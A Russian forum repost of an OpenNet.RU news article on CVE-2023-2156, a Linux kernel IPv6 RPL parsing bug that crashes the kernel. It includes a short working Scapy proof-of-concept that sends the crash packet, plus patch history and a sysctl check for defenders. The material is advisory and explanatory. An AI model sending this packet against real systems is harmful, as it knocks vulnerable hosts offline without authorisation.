0-day уязвимость IPv6-стеке Linux, позволяющая удалённо вызвать крах ядра
Автор
Сообщение
news_bot ®
Стаж: 6 лет 11 месяцев
Сообщений: 27286
Раскрыты сведения о неисправленной (0-day) уязвимости (CVE-2023-2156) в ядре Linux, позволяющей остановить работу системы через отправку специально оформленных пакетов IPv6 (packet-of-death). Проблема проявляется только при включении поддержки протокола RPL (Routing Protocol for Low-Power and Lossy Networks), который в дистрибутивах по умолчанию отключён и применяется, главным образом, на встраиваемых устройствах, работающих в беспроводных сетях с большой потерей пакетов.
Уязвимость вызвана некорректной обработкой внешних данных в коде разбора протокола RPL, которая приводит к срабатыванию assert-сбоя и переходу ядра в состояние panic. При размещении в структуре k_buff (Socket Buffer) данных, полученных в результате разбора заголовка пакета IPv6 RPL, если поле CmprI выставлено в значение 15, поле Segleft в 1, а CmprE в 0, 48-байтный вектор с адресами распаковывается до 528 байт и возникает ситуация, когда выделенной для буфера памяти оказывается недостаточно. В этом случае в функции skb_push, применяемой для помещения данных в структуру, срабатывает проверка на несоразмерность размера данных и буфера, генерирующая состояние panic, чтобы предотвратить запись за границу буфера.
Пример эксплоита:
# We'll use Scapy to craft the packet
from scapy.all import *
import socket
# Use the IPv6 from your LAN interface
DST_ADDR = sys.argv[1]
SRC_ADDR = DST_ADDR
# We use sockets to send the packet
sockfd = socket.socket(socket.AF_INET6, socket.SOCK_RAW, socket.IPPROTO_RAW)
# Craft the packet
# Type = 3 makes this an RPL packet
# Addresses contains 3 addresses, but because CmprI is 15,
# each octet of the first two addresses is treated as a compressed address
# Segleft = 1 to trigger the amplification
# lastentry = 0xf0 sets CmprI to 15 and CmprE to 0
p = IPv6(src=SRC_ADDR, dst=DST_ADDR) /
IPv6ExtHdrSegmentRouting(type=3, addresses=["a8::", "a7::", "a6::"], segleft=1, lastentry=0xf0)
# Send this evil packet
sockfd.sendto(bytes(p), (DST_ADDR, 0))
Примечательно, что разработчики ядра были уведомлены об уязвимости ещё в январе 2022 года и за прошедшие 15 месяцев три раза попытались устранить проблему, выпустив патчи в сентябре 2022 , октябре 2022 и апреле 2023 года, но каждый раз исправлений оказывалось недостаточно и уязвимость удавалось воспроизвести. В конечном счёте проект ZDI, координировавший работу по устранению уязвимости, принял решение раскрыть детальную информацию об уязвимости, не дожидаясь появления работающего исправления в ядре.
Таким образом уязвимость до сих пор остаётся неисправленной. В том числе не эффективен патч, вошедший в ядро 6.4-rc2. Пользователям рекомендуется проверить, что протокол RPL в их системах не используется, что можно сделать при помощи команды
sysctl -a | grep -i rpl_seg_enabled
===========
Источник:
OpenNet.RU
===========
Похожие новости
- Главная ссылка к новости (https://www.interruptlabs.co.u...)
- OpenNews: Удалённая уязвимость в IPv6-стеке OpenBSD
- OpenNews: Уязвимости в IPv6-стеке FreeBSD
- OpenNews: Удалённые уязвимости в IPv6-стеках OpenBSD и FreeBSD
- OpenNews: Уязвимость в ядре Linux, позволяющая вызвать крах через отправку UDP-пакета
- OpenNews: Уязвимости в TCP-стеках Linux и FreeBSD, приводящие к удалённому отказу в обслуживании
Похожие новости:
- Удалённая уязвимость в IPv6-стеке OpenBSD
- Захват контроля над уязвимыми серверами GitLab для вовлечения в проведение DDoS-атак
- [Информационная безопасность, Хранение данных, Софт, Накопители] Как быстро и надёжно удалить файлы, зачистить HDD/SSD перед обыском
- [Игры и игровые приставки] Новые игры лучше сиквелов или почему я рад анонсам Redfall и Marvel's Guardians of the Galaxy
- [Программирование, Assembler, Отладка] Assembler – Урок 0: Установка компилятора и запуск первой программы через DOSBox
- [Настройка Linux, Open source, Виртуализация, Kubernetes] Изучение экоcистемы Kubernetes в 2021 году, global modal в React и 7 сетевых команд Linux для каждого сисадмина
- [Сетевые технологии, DNS, Законодательство в IT] Национальная система доменных имён: первый взгляд
- [Разработка под iOS, Разработка под MacOS, Гаджеты, Софт, IT-компании] iOS 15, iPadOS 15 и другие новинки WWDC 2021
- [История IT, Научно-популярное, IT-компании] Загадка отсутствия дефолтного приложения «Калькулятор» на iPad и поиск его замены
- [IPv6] Моя индиана к HCIA
Теги для поиска: #_ipv6, #_dos, #_rpl
Вы не можете начинать темы
Вы не можете отвечать на сообщения
Вы не можете редактировать свои сообщения
Вы не можете удалять свои сообщения
Вы не можете голосовать в опросах
Вы не можете прикреплять файлы к сообщениям
Вы не можете скачивать файлы
Текущее время: 03-Фев 18:03
Часовой пояс: UTC + 5
Автор | Сообщение |
---|---|
news_bot ®
Стаж: 6 лет 11 месяцев |
|
Раскрыты сведения о неисправленной (0-day) уязвимости (CVE-2023-2156) в ядре Linux, позволяющей остановить работу системы через отправку специально оформленных пакетов IPv6 (packet-of-death). Проблема проявляется только при включении поддержки протокола RPL (Routing Protocol for Low-Power and Lossy Networks), который в дистрибутивах по умолчанию отключён и применяется, главным образом, на встраиваемых устройствах, работающих в беспроводных сетях с большой потерей пакетов. Уязвимость вызвана некорректной обработкой внешних данных в коде разбора протокола RPL, которая приводит к срабатыванию assert-сбоя и переходу ядра в состояние panic. При размещении в структуре k_buff (Socket Buffer) данных, полученных в результате разбора заголовка пакета IPv6 RPL, если поле CmprI выставлено в значение 15, поле Segleft в 1, а CmprE в 0, 48-байтный вектор с адресами распаковывается до 528 байт и возникает ситуация, когда выделенной для буфера памяти оказывается недостаточно. В этом случае в функции skb_push, применяемой для помещения данных в структуру, срабатывает проверка на несоразмерность размера данных и буфера, генерирующая состояние panic, чтобы предотвратить запись за границу буфера. Пример эксплоита: # We'll use Scapy to craft the packet
from scapy.all import * import socket # Use the IPv6 from your LAN interface DST_ADDR = sys.argv[1] SRC_ADDR = DST_ADDR # We use sockets to send the packet sockfd = socket.socket(socket.AF_INET6, socket.SOCK_RAW, socket.IPPROTO_RAW) # Craft the packet # Type = 3 makes this an RPL packet # Addresses contains 3 addresses, but because CmprI is 15, # each octet of the first two addresses is treated as a compressed address # Segleft = 1 to trigger the amplification # lastentry = 0xf0 sets CmprI to 15 and CmprE to 0 p = IPv6(src=SRC_ADDR, dst=DST_ADDR) / IPv6ExtHdrSegmentRouting(type=3, addresses=["a8::", "a7::", "a6::"], segleft=1, lastentry=0xf0) # Send this evil packet sockfd.sendto(bytes(p), (DST_ADDR, 0)) Таким образом уязвимость до сих пор остаётся неисправленной. В том числе не эффективен патч, вошедший в ядро 6.4-rc2. Пользователям рекомендуется проверить, что протокол RPL в их системах не используется, что можно сделать при помощи команды sysctl -a | grep -i rpl_seg_enabled
=========== Источник: OpenNet.RU =========== Похожие новости
|
|
Вы не можете начинать темы
Вы не можете отвечать на сообщения
Вы не можете редактировать свои сообщения
Вы не можете удалять свои сообщения
Вы не можете голосовать в опросах
Вы не можете прикреплять файлы к сообщениям
Вы не можете скачивать файлы
Вы не можете отвечать на сообщения
Вы не можете редактировать свои сообщения
Вы не можете удалять свои сообщения
Вы не можете голосовать в опросах
Вы не можете прикреплять файлы к сообщениям
Вы не можете скачивать файлы
Текущее время: 03-Фев 18:03
Часовой пояс: UTC + 5